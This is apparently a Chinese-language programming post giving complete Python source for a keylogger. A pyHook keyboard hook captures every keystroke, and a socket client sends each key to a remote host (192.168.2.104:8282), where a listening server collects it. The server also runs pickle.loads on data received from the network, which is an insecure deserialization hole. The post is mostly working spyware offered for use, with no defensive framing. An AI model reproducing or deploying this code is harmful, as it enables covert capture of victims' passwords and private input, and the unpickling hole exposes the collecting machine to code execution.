pywin32下载路径:https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
pyHook下载路径:https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
CRTL+F搜索pyHook,下载whl文件,然后pip install安装
Server端:
import sys
import pickle
from io import BytesIO
from socket import *
def Server_PIC(ip,port):
mysocket= socket(AF_INET,SOCK_STREAM)
mysocket.bind((ip,port))
mysocket.listen(5)
file_no = 1
while True:
connection,address =mysocket.accept()
print('server connected by ',address)
received_message =b''
received_message_fragment = connection.recv(1024)
while received_message_fragment:
received_message = received_message + received_message_fragment
received_message_fragment =connection.recv(1024)
try:
obj = pickle.loads(received_message)
print(obj)
#you can save them in a file !
except EOFError:
filename = 'recv_image_'+str(file_no)+'.jpg'
recv_image = open(filename,'wb')
recv_image.write(received_message)
file_no +=1
connection.close()
if __name__ == '__main__':
ip = '0.0.0.0'
port = 8282
Server_PIC(ip,port)
Client端:
import sys
import pickle
from io import BytesIO
from socket import *
def Client_PIC(ip, port ,obj):
try:
msg =pickle.dumps(obj)
send_message = BytesIO(msg)
send_message_fragment = send_message.read(1024)
except TypeError:
send_message = obj
send_message_fragment =send_message.read(1024)
sockobj = socket(AF_INET,SOCK_STREAM)
sockobj.connect((ip, port))
while send_message_fragment :
sockobj.send(send_message_fragment)
send_message_fragment = send_message.read(1024)
sockobj.close( )
if __name__ =='__main__':
dict = {'key1':'this should be hidden'}
Client_PIC('192.168.2.104',8282,dict)
键盘读取模块:
import pyHook,pythoncom
from KeyRecordClient import Client_PIC
def KeyBoared(event):
dict_key ={}
dict_key['Key:'] = event.Key
Client_PIC('192.168.2.104',8282,dict_key)
def keylogger():
# 创建一个“钩子”管理对象
h = pyHook.HookManager()
# 监听所有键盘事件
h.KeyDown = KeyBoared
# 设置键盘“钩子”
h.HookKeyboard()
# 进入循环,如不手动关闭,程序将一直处于监听状态
pythoncom.PumpMessages()
if __name__ =='__main__':
keylogger()